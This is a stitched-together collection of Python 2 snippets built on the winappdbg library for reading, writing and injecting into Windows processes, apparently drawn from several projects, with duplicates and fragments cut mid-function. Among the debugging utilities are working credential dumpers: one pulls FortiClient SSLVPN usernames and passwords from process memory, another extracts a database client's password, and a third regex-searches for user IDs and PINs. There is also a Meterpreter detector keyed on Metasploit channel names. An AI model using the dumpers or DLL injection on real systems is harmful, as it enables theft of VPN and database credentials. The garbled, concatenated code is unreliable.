def freeze_threads( pid, _tid=None ): System.request_debug_privileges() process = Process(pid) process.scan_threads() tmp = _tid.split(',') print tmp, ":", type(tmp), ":", len(tmp) for thread in process.iter_threads(): tid = thread.get_tid() _tid = int(tid) if _tid is None or _tid == 0 : thread.suspend() print tid, " suspend()" else: if len(tmp)>1: for s in tmp: if tid == int(s): print tid, " suspend()" thread.suspend() else: if tid == _tid: print tid, " suspend()" thread.suspend()
def kill_thread( pid, kill_tid=None ): System.request_debug_privileges() process = Process(pid) process.scan_threads() tmp = kill_tid.split(',') print tmp, ":", type(tmp), ":", len(tmp) for thread in process.iter_threads(): thread.suspend() tid = thread.get_tid() try: if kill_tid is None or kill_tid == 0: hThread = thread.get_handle() win32.CloseHandle(hThread) win32.TerminateThread(hThread, -999) else: if len(tmp)>1: for s in tmp: if tid == int(s): print "kill > ", pid, " > ", tid, " > ", kill_tid hThread = thread.get_handle() #win32.CloseHandle(hThread) win32.TerminateThread(hThread, -999) except Exception, e: print e pass thread.resume()
def load_dll(pid, filename): # Instance a Process object. process = Process(pid) # Load the DLL library in the process. process.inject_dll(filename)
def find_meterpreter_trace(pid, rateLimit): if (System.arch == 'i386' and System.bits == 32): try: meterpreter_trace_keywords = [['stdapi_railgun_api', False], ['stdapi_railgun_api_multi', False], ['stdapi_railgun_memread', False], ['stdapi_railgun_memwrite', False]] process = psutil.Process(pid) if (process.is_running() and process.name() == 'java.exe'): meterpreter_trace_keywords = [ [ 'class$com$metasploit$meterpreter$stdapi$channel_create_stdapi_fs_file', False ], [ 'class$com$metasploit$meterpreter$stdapi$channel_create_stdapi_net_tcp_client', False ], [ 'class$com$metasploit$meterpreter$stdapi$channel_create_stdapi_net_tcp_server', False ], [ 'class$com$metasploit$meterpreter$stdapi$channel_create_stdapi_net_udp_client', False ] ] except Exception, e: pass #suppress no process name #print "Searching in",pid foundIndex = 0 process = Process(pid) line = 0 #For each ASCII string found in the process memory... for address, size, data in process.strings(): #print "%s: %s" % (HexDump.address(address),data) data = data.strip() if (data.find(meterpreter_trace_keywords[foundIndex][0]) >= 0): meterpreter_trace_keywords[foundIndex][1] = True mdlog.print_console( mdlog.SUCCESS_LEVEL, (meterpreter_trace_keywords[foundIndex][0])) foundIndex += 1 if foundIndex > len(meterpreter_trace_keywords) - 1: break line += 1 if (line > rateLimit): return False if foundIndex < 3: #print "Found: %d" , foundIndex return False else: found = True for trace in meterpreter_trace_keywords: found = found and trace[1] return found
def print_api_address( pid, modName, procName ): # Request debug privileges. System.request_debug_privileges() # Instance a Process object. process = Process( pid ) # Lookup it's modules. process.scan_modules() # Get the module. module = process.get_module_by_name( modName ) if not module: print "Module not found: %s" % modName return # Resolve the requested API function address. address = module.resolve( procName ) # Print the address. if address: print "%s!%s == 0x%.08x" % ( modName, procName, address ) else: print "Could not resolve %s in module %s" % (procName, modName)
def load_dll( pid, filename ): # Instance a Process object. process = Process( pid ) # Load the DLL library in the process. process.inject_dll( filename )
def action_WriteProcessMemoryW(event): # Get the return address of the call address = event.get_thread().read_stack_dwords(1)[0] fo = open("C:/unpacked.bin", "w") # Get the process and thread IDs pid = event.get_pid() tid = event.get_tid() process = Process(pid) bufferAddr = event.get_thread().read_stack_dwords( 6 )[3] #6 is no of dwords grabbed from stack [0] is retuen addr [3] is 3rd argument print hex(bufferAddr) print "xxxxxxx" memoryMap = process.get_memory_map() readable = 0 writeable = 0 executable = 0 private = 0 mapped = 0 image = 0 total = 0 for mbi in memoryMap: #print hex(mbi.BaseAddress) if mbi.BaseAddress == bufferAddr: print "dumping data" print hex(mbi.BaseAddress) print hex(mbi.RegionSize) data = process_read(pid, mbi.BaseAddress, mbi.RegionSize) fo.write(data) fo.close()
def print_api_address(pid, modName, procName): # Request debug privileges. System.request_debug_privileges() # Instance a Process object. process = Process(pid) # Lookup it's modules. process.scan_modules() # Get the module. module = process.get_module_by_name(modName) if not module: print "Module not found: %s" % modName return # Resolve the requested API function address. address = module.resolve(procName) # Print the address. if address: print "%s!%s == 0x%.08x" % (modName, procName, address) else: print "Could not resolve %s in module %s" % (procName, modName)
def process_kill( pid ): # Instance a Process object. process = Process( pid ) # Kill the process. process.kill()
def show_command_line(pid): # Instance a Process object. process = Process(pid) # Print the process command line. print(process.get_command_line())
def show_command_line(pid): # Instance a Process object. process = Process(pid) # Print the process command line. print process.get_command_line()
def memory_search( pid ): found = [] # Instance a Process object. process = Process( pid ) # Search for the string in the process memory. # Looking for User ID: userid_pattern = '([0-9]\x00){3} \x00([0-9]\x00){3} \x00([0-9]\x00){3}[^)]' for address in process.search_regexp( userid_pattern ): found += [address] print 'Possible UserIDs found:' found = [i[-1] for i in found] for i in set(found): print i.replace('\x00','') found = [] # Looking for Password: pass_pattern = '([0-9]\x00){4}\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x07\x00\x00' for address in process.search_regexp( pass_pattern ): found += [process.read(address[0]-3,16)] if found: print '\nPassword:'******'[0-9]{4}',i.replace('\x00',''))[0] print pwd else: print re.findall('[0-9]{4}',found[0].replace('\x00',''))[0] return found
def unfreeze_threads(pid): System.request_debug_privileges() process = Process(pid) #process.resume() process.scan_threads() for thread in process.iter_threads(): thread.resume()
def main(): print("Process memory reader") print("by Mario Vilas (mvilas at gmail.com)") print if len(sys.argv) not in (4, 5): script = os.path.basename(sys.argv[0]) print(" %s <pid> <address> <size> [binary output file]" % script) print(" %s <process.exe> <address> <size> [binary output file]" % script) return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print("Process not found: %s" % sys.argv[1]) return if len(pl) > 1: print("Multiple processes found for %s" % sys.argv[1]) for p, n in pl: print("\t%s: %s" % (HexDump.integer(p), n)) return pid = pl[0][0].get_pid() try: address = HexInput.integer(sys.argv[2]) except Exception: print("Invalid value for address: %s" % sys.argv[2]) return try: size = HexInput.integer(sys.argv[3]) except Exception: print("Invalid value for size: %s" % sys.argv[3]) return p = Process(pid) data = p.read(address, size) ## data = p.peek(address, size) print("Read %d bytes from PID %d" % (len(data), pid)) if len(sys.argv) == 5: filename = sys.argv[4] open(filename, 'wb').write(data) print("Written %d bytes to %s" % (len(data), filename)) else: if win32.sizeof(win32.LPVOID) == win32.sizeof(win32.DWORD): width = 16 else: width = 8 print print(HexDump.hexblock(data, address, width=width))
def main(): print "Process memory reader" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) not in (4, 5): script = os.path.basename(sys.argv[0]) print " %s <pid> <address> <size> [binary output file]" % script print " %s <process.exe> <address> <size> [binary output file]" % script return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print "Process not found: %s" % sys.argv[1] return if len(pl) > 1: print "Multiple processes found for %s" % sys.argv[1] for p,n in pl: print "\t%s: %s" % (HexDump.integer(p),n) return pid = pl[0][0].get_pid() try: address = HexInput.integer(sys.argv[2]) except Exception: print "Invalid value for address: %s" % sys.argv[2] return try: size = HexInput.integer(sys.argv[3]) except Exception: print "Invalid value for size: %s" % sys.argv[3] return p = Process(pid) data = p.read(address, size) ## data = p.peek(address, size) print "Read %d bytes from PID %d" % (len(data), pid) if len(sys.argv) == 5: filename = sys.argv[4] open(filename, 'wb').write(data) print "Written %d bytes to %s" % (len(data), filename) else: if win32.sizeof(win32.LPVOID) == win32.sizeof(win32.DWORD): width = 16 else: width = 8 print print HexDump.hexblock(data, address, width = width)
def process_read( pid, address, length ): # Instance a Process object. process = Process( pid ) # Read the process memory. data = process.read( address, length ) # You can also change the process memory. # process.write( address, "example data" ) # Return a Python string with the memory contents. return data
def strings(pid): # Instance a Process object. process = Process(pid) # For each ASCII string found in the process memory... for address, size, data in process.strings(): # Print the string and the memory address where it was found. print "%s: %s" % (HexDump.address(address), data)
def strings( pid ): # Instance a Process object. process = Process( pid ) # For each ASCII string found in the process memory... for address, size, data in process.strings(): # Print the string and the memory address where it was found. print "%s: %s" % ( HexDump.address(address), data )
def memory_search(pid, bytes): # Instance a Process object. process = Process(pid) # Search for the string in the process memory. for address in process.search_bytes(bytes): # Print the memory address where it was found. print HexDump.address(address)
def memory_search( pid, bytes ): # Instance a Process object. process = Process( pid ) # Search for the string in the process memory. for address in process.search_bytes( bytes ): # Print the memory address where it was found. print HexDump.address( address )
def addProcess(self,pid, is_attached=False): proc = Process(pid) proc.pid = pid self.procs.append(proc) def readArray(vaddr, typ, s): #print 'HIHIHI',proc, vaddr, typ, s return proc.read_structure( vaddr, typ*s) proc.readArray = readArray proc.cont = proc.resume return proc
def freeze_threads(pid): System.request_debug_privileges() process = Process(pid) process.scan_threads() for thread in process.iter_threads(): thread.suspend()
def show_environment( pid ): # Instance a Process object. process = Process( pid ) # Get its environment variables. environment = process.get_environment() # Print the environment variables. for variable, value in sorted( environment.items() ): print "%s=%s" % (variable, value)
def print_modules(pid): # Instance a Process object. process = Process(pid) print "Process %d" % process.get_pid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\t%s\t%s" % (HexDump.address(module.get_base(), bits), module.get_filename())
def addProcess(self, pid, is_attached=False): proc = Process(pid) proc.pid = pid self.procs.append(proc) def readArray(vaddr, typ, s): # print 'HIHIHI',proc, vaddr, typ, s return proc.read_structure(vaddr, typ * s) proc.read_array = readArray proc.cont = proc.resume return proc
def push_addr(pid, addr, value): x = int(addr, 16) process = Process(pid) code = '\x68' + struct.pack('<L', int(value, 16)) print "code:", code print "addr:", x try: process.write(x, code) except Exception, e: raise
def main(): print("Process memory writer") print("by Mario Vilas (mvilas at gmail.com)") print() if len(sys.argv) < 4: script = os.path.basename(sys.argv[0]) print(" %s <pid> <address> {binary input file / hex data}" % script) print(" %s <process.exe> <address> {binary input file / hex data}" % script) return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print("Process not found: %s" % sys.argv[1]) return if len(pl) > 1: print("Multiple processes found for %s" % sys.argv[1]) for p, n in pl: print("\t%s: %s" % (HexDump.integer(p), n)) return pid = pl[0][0].get_pid() try: address = HexInput.integer(sys.argv[2]) except Exception: print("Invalid value for address: %s" % sys.argv[2]) return filename = ' '.join(sys.argv[3:]) if os.path.exists(filename): data = open(filename, 'rb').read() print("Read %d bytes from %s" % (len(data), filename)) else: try: data = HexInput.hexadecimal(filename) except Exception: print("Invalid filename or hex block: %s" % filename) return p = Process(pid) p.write(address, data) print("Written %d bytes to PID %d" % (len(data), pid))
def main(): print "Process memory writer" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) < 4: script = os.path.basename(sys.argv[0]) print " %s <pid> <address> {binary input file / hex data}" % script print " %s <process.exe> <address> {binary input file / hex data}" % script return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print "Process not found: %s" % sys.argv[1] return if len(pl) > 1: print "Multiple processes found for %s" % sys.argv[1] for p,n in pl: print "\t%s: %s" % (HexDump.integer(p),n) return pid = pl[0][0].get_pid() try: address = HexInput.integer(sys.argv[2]) except Exception: print "Invalid value for address: %s" % sys.argv[2] return filename = ' '.join(sys.argv[3:]) if os.path.exists(filename): data = open(filename, 'rb').read() print "Read %d bytes from %s" % (len(data), filename) else: try: data = HexInput.hexadecimal(filename) except Exception: print "Invalid filename or hex block: %s" % filename return p = Process(pid) p.write(address, data) print "Written %d bytes to PID %d" % (len(data), pid)
def proces_info(pid, addr=""): x = int(addr, 16) process = Process(pid) print "get_arch:", process.get_arch() print "get_bits:", process.get_bits() # print "get_main_module:", process.get_main_module() print "get_command_line:", process.get_command_line() print "get_image_name:", (process.get_image_name()) print "get_image_base:", hex(process.get_image_base()) print "get_peb:", hex(process.get_peb().ImageBaseAddress) print "get_peb_address:", hex(process.get_peb_address()) print "get_entry_point:", hex(process.get_entry_point())
def hex_string(pid, addr, size, flag=1): x = int(addr, 16) process = Process(pid) data = process.read(x, size * 8) #hexdump = HexDump.printable( data ) if flag == 3: print HexDump.hexblock_dword(data, address=True, width=16) elif flag == 2: print HexDump.hexblock_word(data, address=True, width=16) else: print HexDump.hexblock(data, address=True, width=16)
def print_label(pid, address): # Request debug privileges. System.request_debug_privileges() # Instance a Process object. process = Process(pid) # Lookup it's modules. process.scan_modules() # Resolve the requested label address. label = process.get_label_at_address(address) # Print the label. print("%s == 0x%.08x" % (label, address))
def print_threads_and_modules( pid ): # Instance a Process object. process = Process( pid ) print "Process %d" % process.get_pid() # Now we can enumerate the threads in the process... print "Threads:" for thread in process.iter_threads(): print "\t%d" % thread.get_tid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\t%s\t%s" % ( HexDump.address( module.get_base(), bits ), module.get_filename() )
def read_string(pid, addr): x = int(addr, 16) process = Process(pid) # print "get_main_module:", process.get_main_module() # print "get_peb:", hex(process.get_peb().ImageBaseAddress) print "read: ", x print print "string :" read = process.peek_string(x) print read print HexDump.hexadecimal(read, '\\x')
def print_label_address( pid, label ): # Request debug privileges. System.request_debug_privileges() # Instance a Process object. process = Process( pid ) # Lookup it's modules. process.scan_modules() # Resolve the requested label address. address = process.resolve_label( label ) # Print the address. print "%s == 0x%.08x" % ( label, address )
def find_meterpreter_trace(pid,rateLimit): if (System.arch == 'i386' and System.bits==32): try: meterpreter_trace_keywords = [['stdapi_railgun_api',False], ['stdapi_railgun_api_multi',False], ['stdapi_railgun_memread',False], ['stdapi_railgun_memwrite',False] ] process = psutil.Process(pid) if (process.is_running() and process.name()=='java.exe'): meterpreter_trace_keywords = [['class$com$metasploit$meterpreter$stdapi$channel_create_stdapi_fs_file',False], ['class$com$metasploit$meterpreter$stdapi$channel_create_stdapi_net_tcp_client',False], ['class$com$metasploit$meterpreter$stdapi$channel_create_stdapi_net_tcp_server',False], ['class$com$metasploit$meterpreter$stdapi$channel_create_stdapi_net_udp_client',False] ] except Exception,e: pass #suppress no process name #print "Searching in",pid foundIndex = 0 process = Process(pid) line = 0 #For each ASCII string found in the process memory... for address, size, data in process.strings(): #print "%s: %s" % (HexDump.address(address),data) data = data.strip() if (data.find(meterpreter_trace_keywords[foundIndex][0]) >= 0): meterpreter_trace_keywords[foundIndex][1] = True mdlog.print_console(mdlog.SUCCESS_LEVEL,(meterpreter_trace_keywords[foundIndex][0])) foundIndex += 1 if foundIndex > len(meterpreter_trace_keywords)-1: break line += 1 if (line > rateLimit): return False if foundIndex < 3: #print "Found: %d" , foundIndex return False else: found = True for trace in meterpreter_trace_keywords: found = found and trace[1] return found
def reslove_iat_pointers(pid, iat_ptrs): """Use winappdbg to resolve IAT pointers to their respective module and function names @param pid: process ID to connect to @param iat_ptrs: list of pointer addresses to be resolved """ ###################################################################### # # Attach to process and start using winappdbg # ###################################################################### # Request debug privileges. System.request_debug_privileges() # Attach to process process = Process(pid) # Lookup the process modules. process.scan_modules() # imp_table[ <funct_pointer> ] = [ <module_name>, <function_name> ] imp_table = {} for iat_ptr in iat_ptrs: # For each iat pointer get the function name as a label populated by winappdbg label = process.get_label_at_address(process.peek_dword(iat_ptr)) module,function,offset = Process.split_label_strict(label) # Only add functions that have valid labels if function != None: imp_table[iat_ptr] = [module, function] assert len(imp_table) != 0, "Unable to find imports in code!" ###################################################################### # # Because we may have missed some IAT pointers with our scanner we # are going to attempt to locate the full mapped IAT directory in the # section then enumerate ever pointer in the directory. And use that # list instead. # ###################################################################### imp_table_new={} for iat_ptr in range(min(imp_table.keys()), max(imp_table.keys())+4, 4): # Resolve the requested label address. label = process.get_label_at_address(process.peek_dword(iat_ptr)) module,function,offset = Process.split_label_strict(label) if function != None: imp_table_new[iat_ptr] = [module, function] return imp_table_new
def list_thread( pid ): System.request_debug_privileges() process = Process(pid) process.scan_threads() list=[] for thread in process.iter_threads(): tid = thread.get_tid() list.append(str(tid)) try: print_thread_context( tid ) except: pass pid_line = ','.join(list) print pid_line return pid_line
def memory_search( pid, strings ): process = Process( pid ) mem_dump = [] ###### # You could also use process.search_regexp to use regular expressions, # or process.search_text for Unicode strings, # or process.search_hexa for raw bytes represented in hex. ###### for address in process.search_bytes( strings ): dump = process.read(address-10,800) #Dump 810 bytes from process memory mem_dump.append(dump) for i in mem_dump: if "FortiClient SSLVPN offline" in i: #print all founds results by offsets to the screen. print "\n" print " [+] Address and port to connect: " + str(i[136:180]) print " [+] UserName: "******" [+] Password: "******"\n"
def show_disassemble(pid, addr, size, Flag=True): x = int(addr, 16) process = Process(pid) if Flag == True: code = process.disassemble(x, size * 8) else: data = process.read(x, size * 8) code = process.disassemble_string(x, data) s = '' for line in code: print CrashDump.dump_code_line(line, bShowDump=True, dwDumpWidth=16) s += CrashDump.dump_shell_line(line) return s
def set_bp(pid, func, size): process = Process(pid) search_dll, search_func = _split_dll_func(func) print search_dll, ":", search_func if search_dll is None or search_func is None: print "%s not found!" % arg sys.exit(-1) dict = {} for file, file_addr in process.get_modules(): if ismatch(file, ".*" + search_dll + "$") or ismatch( file, ".*" + search_dll + ".dll$"): module = Module(file_addr, process=process, fileName=file) module.get_symbols() print file, "!", file_addr, " > ", search_dll, " > ", search_func for func, addr, _ in module.iter_symbols(): if ismatch(func, search_func + ".*"): dict[hex(addr)] = func print "%s : [%s] %s" % (hex(addr), addr, func) print "len", len(dict) if len(dict) == 1: break_addr, break_func = dict.items()[0] print " : ", break_addr, "", break_func do_bp(process, break_addr) else: i = 0 for key in dict.keys(): print "%d : %s!%s" % (i, key, dict[key]) i += 1 number = int(raw_input("What is your Number? ")) print break_addr, break_func = dict.items()[number] print break_func, ":", break_addr if do_bp(process, break_addr[:-1]) == True: print_breakpoints()
def memory_search(pid, strings): process = Process(pid) mem_dump = [] ###### # You could also use process.search_regexp to use regular expressions, # or process.search_text for Unicode strings, # or process.search_hexa for raw bytes represented in hex. ###### for address in process.search_bytes(strings): dump = process.read(address - 10, 800) #Dump 810 bytes from process memory mem_dump.append(dump) for i in mem_dump: if "FortiClient SSLVPN offline" in i: #print all founds results by offsets to the screen. print "\n" print " [+] Address and port to connect: " + str(i[136:180]) print " [+] UserName: "******" [+] Password: "******"\n"
def print_label_address(pid, label): # Request debug privileges. System.request_debug_privileges() # Instance a Process object. process = Process(pid) # Lookup it's modules. process.scan_modules() # Resolve the requested label address. address = process.resolve_label(label) # titles = [i for i in process.search("Trying to change notepad text\0")] # msg = [k for k in 'New text here ! \0'] # for i in range(len(msg)): # process.poke(46859072 + i * 2, msg[i].encode()) # Print the address. print("%s == 0x%.08x" % (label, address))
def unfreeze_threads( pid ): # Request debug privileges. System.request_debug_privileges() # Instance a Process object. process = Process( pid ) # This would also do the trick... # # process.resume() # # ...but let's do it the hard way: # Lookup the threads in the process. process.scan_threads() # For each thread in the process... for thread in process.iter_threads(): # Resume the thread execution. thread.resume()
def kill_cryptolocker( pname, pid ): # Instance a Process object. process = Process( pid ) # Kill the process. process.kill() proc = "(" + pname + ":" + str(gpid) + ")" if turkish: txt = u"[*] Cryptolocker işlemcisi durduruldu! " + proc log(txt) print u"[*] Cryptolocker işlemcisi durduruldu! " + proc else: txt = "[*] Terminated Cryptolocker process! " + proc log(txt) print "[*] Terminated Cryptolocker process! " + proc if root.state() != "normal": os.system(filename) sys.exit(1)
def wildcard_search( pid, pattern ): # # Hex patterns must be in this form: # "68 65 6c 6c 6f 20 77 6f 72 6c 64" # "hello world" # # Spaces are optional. Capitalization of hex digits doesn't matter. # This is exactly equivalent to the previous example: # "68656C6C6F20776F726C64" # "hello world" # # Wildcards are allowed, in the form of a "?" sign in any hex digit: # "5? 5? c3" # pop register / pop register / ret # "b8 ?? ?? ?? ??" # mov eax, immediate value # # Instance a Process object. process = Process( pid ) # Search for the hexadecimal pattern in the process memory. for address, data in process.search_hexa( pattern ): # Print a hex dump for each memory location found. print HexDump.hexblock(data, address = address)
def print_threads_and_modules( pid, debug ): # Instance a Process object. process = Process( pid ) print "Process %d" % process.get_pid() # Now we can enumerate the threads in the process... print "Threads:" for thread in process.iter_threads(): print "\t%d" % thread.get_tid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\thas module: %s\t%s" % ( HexDump.address( module.get_base(), bits ), module.get_filename() ) print "Breakpoints:" for i in debug.get_all_breakpoints(): bp = i[2] print "breakpoint: %s %x" % (bp.get_state_name(), bp.get_address())
def main(): print "Process DLL injector" print "by Mario Vilas (mvilas at gmail.com)" print if len(sys.argv) != 3: script = os.path.basename(sys.argv[0]) print "Injects a DLL into a running process." print " %s <pid> <library.dll>" % script print " %s <process.exe> <library.dll>" % script return System.request_debug_privileges() try: pid = HexInput.integer(sys.argv[1]) except Exception: s = System() s.scan_processes() pl = s.find_processes_by_filename(sys.argv[1]) if not pl: print "Process not found: %s" % sys.argv[1] return if len(pl) > 1: print "Multiple processes found for %s" % sys.argv[1] for p,n in pl: print "\t%12d: %s" % (p,n) return pid = pl[0][0].get_pid() print "Using PID %d (0x%x)" % (pid, pid) dll = sys.argv[2] print "Using DLL %s" % dll p = Process(pid) b = p.get_bits() if b != System.bits: print ( "Cannot inject into a %d bit process from a %d bit Python VM!" % (b, System.bits) ) return p.scan_modules() p.inject_dll(dll)
def print_alnum_jump_addresses(pid): # Request debug privileges so we can inspect the memory of services too. System.request_debug_privileges() # Suspend the process so there are no malloc's and free's while iterating. process = Process(pid) process.suspend() try: # For each executable alphanumeric address... for address, packed, module in iterate_alnum_jump_addresses(process): # Format the address for printing. numeric = HexDump.address(address, process.get_bits()) ascii = repr(packed) # Format the module name for printing. if module: modname = module.get_name() else: modname = "" # Try to disassemble the code at this location. try: code = process.disassemble(address, 16)[0][2] except NotImplementedError: code = "" # Print it. print numeric, ascii, modname, code # Resume the process when we're done. # This is inside a "finally" block, so if the program is interrupted # for any reason we don't leave the process suspended. finally: process.resume()
try: process.close_handle() except WindowsError, e: print "Warning: call to CloseHandle() failed: %s" % str(e) except WindowsError, e: print "Warning: call to TerminateProcess() failed: %s" % str(e) except WindowsError, e: print "Warning: call to OpenProcess() failed: %s" % str(e) targets = next_targets # Try to terminate processes by injecting a call to ExitProcess(). next_targets = list() for pid in targets: next_targets.append(pid) try: process = Process(pid) process.scan_modules() try: module = process.get_module_by_name('kernel32') pExitProcess = module.resolve('ExitProcess') try: process.start_thread(pExitProcess, -1) next_targets.pop() count += 1 print "Forced process %d exit" % pid except WindowsError, e: print "Warning: call to CreateRemoteThread() failed %d: %s" % (pid, str(e)) except WindowsError, e: print "Warning: resolving address of ExitProcess() failed %d: %s" % (pid, str(e)) except WindowsError, e: print "Warning: scanning for loaded modules failed %d: %s" % (pid, str(e))
mdlog.print_console(mdlog.ERROR_LEVEL,("[-] Error in reverse_http managing " + str(e))) mdlog.print_console(mdlog.INFO_LEVEL,"[*] Enumerating suspicious Reverse_Process") for proc in suspicious_veil_procList: try: print "Suspicious %d",proc.pid if (proc.pid not in inScopeList): traceFlag = find_meterpreter_trace(proc.pid,VEIL_MEMORY_TRACE_LINE_LIMIT) except Exception,e: mdlog.print_console(mdlog.ERROR_LEVEL,("[-] Error in tracing " + str(e))) time.sleep(3) #sleep for another access if (traceFlag): try: mdlog.print_console(mdlog.INFO_LEVEL,"[*] kill suspicious reverse_https_Meterpreter " + str(proc.pid) + " " + str(proc.name) + " " + str(proc.connections())) vprocess = Process(proc.pid) # Kill the process. vprocess.kill() time.sleep(2) #sleep for smooth debugger console except Exception,e: mdlog.print_console(mdlog.ERROR_LEVEL,("[-] Error in suspicious reverse_http managing " + str(e))) mdlog.print_console(mdlog.INFO_LEVEL,"[*] Enumerating CMD_Process") est_pids = retrieve_ps_id(est_conn_procList) for proc in cmd_procList: pid = proc.pid parent_pid = proc.ppid() if (parent_pid in est_pids and (proc.pid not in inScopeList)): print proc.pid, proc.name, proc.connections() try:
bytes.append(chr(int(str[i:i+2], 16))) return ''.join(bytes) debug = Debug() try: print "[~] Searching for pid by process name '%s'.." % (filename) time.sleep(1) debug.system.scan_processes() for (process, process_name) in debug.system.find_processes_by_filename(filename): process_pid = process.get_pid() if process_pid is not 0: print "[+] Found process with pid #%d" % (process_pid) time.sleep(1) print "[~] Trying to read memory for pid #%d" % (process_pid) process = Process(process_pid) for address in process.search_bytes('\x00\x90\x18\x00\x00\x00\x00\x00\x00\x00'): memory_dump.append(process.read(address,30)) memory_dump.pop(0) for i in range(len(memory_dump)): str = b2h(memory_dump[i]) first = str.split("00 90 18 00 00 00 00 00 00 00 ")[1] last = first.split("00 ") if last[0]: count = count+1 found = 1 print "[+] Password for connection #%d found as %s" % (count, h2b(last[0])) if found == 0: print "[-] Password not found! Make sure the client is connected at least to one database." else: print "[-] No process found with name '%s'." % (filename)
def openProc(pid): ''' return proc maps ''' process = Process(pid) fileName = process.get_filename() memoryMap = process.get_memory_map() mappedFilenames = process.get_mapped_filenames() # 08048000-080b0000 r-xp 0804d000 fe:01 3334030 /usr/myfile lines = [] for mbi in memoryMap: if not mbi.is_readable(): continue addr = '' perm = '--- ' offset = '' device = '' inode = '' filename = '' # Address and size of memory block. BaseAddress = HexDump.address(mbi.BaseAddress) RegionSize = HexDump.address(mbi.RegionSize) # State (free or allocated). mbiState = mbi.State if mbiState == win32.MEM_RESERVE: State = "Reserved" elif mbiState == win32.MEM_COMMIT: State = "Commited" elif mbiState == win32.MEM_FREE: State = "Free" else: State = "Unknown" # Page protection bits (R/W/X/G). if mbiState != win32.MEM_COMMIT: Protect = "--- " else: mbiProtect = mbi.Protect if mbiProtect & win32.PAGE_NOACCESS: Protect = "--- " elif mbiProtect & win32.PAGE_READONLY: Protect = "R-- " elif mbiProtect & win32.PAGE_READWRITE: Protect = "RW- " elif mbiProtect & win32.PAGE_WRITECOPY: Protect = "RC- " elif mbiProtect & win32.PAGE_EXECUTE: Protect = "--X " elif mbiProtect & win32.PAGE_EXECUTE_READ: Protect = "R-X " elif mbiProtect & win32.PAGE_EXECUTE_READWRITE: Protect = "RWX " elif mbiProtect & win32.PAGE_EXECUTE_WRITECOPY: Protect = "RCX " else: Protect = "??? " ''' if mbiProtect & win32.PAGE_GUARD: Protect += "G" #else: # Protect += "-" if mbiProtect & win32.PAGE_NOCACHE: Protect += "N" #else: # Protect += "-" if mbiProtect & win32.PAGE_WRITECOMBINE: Protect += "W" #else: # Protect += "-" ''' perm = Protect # Type (file mapping, executable image, or private memory). mbiType = mbi.Type if mbiType == win32.MEM_IMAGE: Type = "Image" elif mbiType == win32.MEM_MAPPED: Type = "Mapped" elif mbiType == win32.MEM_PRIVATE: Type = "Private" elif mbiType == 0: Type = "" else: Type = "Unknown" log.debug(BaseAddress) addr = '%08x-%08x' % (int(BaseAddress, 16), int(BaseAddress, 16) + int(RegionSize, 16)) perm = perm.lower() offset = '00000000' device = 'fe:01' inode = 24422442 filename = mappedFilenames.get(mbi.BaseAddress, ' ') # 08048000-080b0000 r-xp 0804d000 fe:01 3334030 /usr/myfile lines.append( '%s %s %s %s %s %s\n' % (addr, perm, offset, device, inode, filename)) log.debug( '%s %s %s %s %s %s\n' % (addr, perm, offset, device, inode, filename)) ##generate_memory_snapshot(self, minAddr=None, maxAddr=None) return lines # process.suspend() # try: # snapshot = process.generate_memory_snapshot() # for mbi in snapshot: # print HexDump.hexblock(mbi.content, mbi.BaseAddress) # finally: # process.resume() # process.read_structure() process = Process(pid) fileName = process.get_filename() memoryMap = process.get_memory_map() mappedFilenames = process.get_mapped_filenames() if fileName: log.debug("MemoryHandler map for %d (%s):" % (pid, fileName)) else: log.debug("MemoryHandler map for %d:" % pid) log.debug('%d filenames' % len(mappedFilenames)) log.debug('') log.debug('%d memorymap' % len(memoryMap)) readable = 0 writeable = 0 executable = 0 private = 0 mapped = 0 image = 0 total = 0 for mbi in memoryMap: size = mbi.RegionSize if not mbi.is_free(): total += size if mbi.is_readable(): readable += size if mbi.is_writeable(): writeable += size if mbi.is_executable(): executable += size if mbi.is_private(): private += size if mbi.is_mapped(): mapped += size if mbi.is_image(): image += size width = len(str(total)) log.debug(" %%%ds bytes of readable memory" % width) % int(readable) log.debug(" %%%ds bytes of writeable memory" % width) % int(writeable) log.debug(" %%%ds bytes of executable memory" % width) % int(executable) log.debug(" %%%ds bytes of private memory" % width) % int(private) log.debug(" %%%ds bytes of mapped memory" % width) % int(mapped) log.debug(" %%%ds bytes of image memory" % width) % int(image) log.debug(" %%%ds bytes of total memory" % width) % int(total) log.debug('') return
def main(argv): script = os.path.basename(argv[0]) params = argv[1:] print "Process killer" print "by Mario Vilas (mvilas at gmail.com)" print if len(params) == 0 or '-h' in params or '--help' in params or \ '/?' in params: print "Usage:" print " %s <process ID or name> [process ID or name...]" print print "If a process name is given instead of an ID all matching processes are killed." exit() # Scan for active processes. # This is needed both to translate names to IDs, and to validate the user-supplied IDs. s = System() s.request_debug_privileges() s.scan_processes() # Parse the command line. # Each ID is validated against the list of active processes. # Each name is translated to an ID. # On error, the program stops before killing any process at all. targets = set() for token in params: try: pid = HexInput.integer(token) except ValueError: pid = None if pid is None: matched = s.find_processes_by_filename(token) if not matched: print "Error: process not found: %s" % token exit() for (process, name) in matched: targets.add(process.get_pid()) else: if not s.has_process(pid): print "Error: process not found: 0x%x (%d)" % (pid, pid) exit() targets.add(pid) targets = list(targets) targets.sort() count = 0 # Try to terminate the processes using the TerminateProcess() API. next_targets = list() for pid in targets: next_targets.append(pid) try: # Note we don't really need to call open_handle and close_handle, # but it's good to know exactly which API call it was that failed. process = Process(pid) process.open_handle() try: process.kill(-1) next_targets.pop() count += 1 print "Terminated process %d" % pid try: process.close_handle() except WindowsError, e: print "Warning: call to CloseHandle() failed: %s" % str(e) except 